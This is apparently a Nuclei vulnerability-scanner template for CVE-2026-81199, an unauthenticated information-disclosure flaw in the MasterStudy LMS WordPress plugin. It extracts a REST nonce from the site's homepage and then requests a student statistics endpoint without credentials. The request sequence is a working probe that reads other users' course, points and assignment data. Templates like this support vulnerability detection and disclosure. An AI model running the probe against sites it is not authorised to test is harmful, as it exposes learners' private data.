id: CVE-2026-81199

info:
  name: "MasterStudy LMS WordPress Plugin WordPress - Information Disclosure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not perform an authorization check
    before returning a student's learning statistics, allowing unauthenticated attackers to disclose the course
    counts, points, certificates, quiz and assignment totals of any registered user.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-81199&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-81199
    cwe-id: CWE-200
  metadata:
    verified: false
  tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "masterstudy-lms")'
          - 'len(nonce) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'rest_nonce"?\s*:\s*"?([a-f0-9]{10})'
          - '"nonce"\s*:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"courses_statuses\":", "\"total_points\":", "\"total_assignments\":")'
          - '!contains_any(body, "forbidden", "rest_nonce_missed")'
        condition: and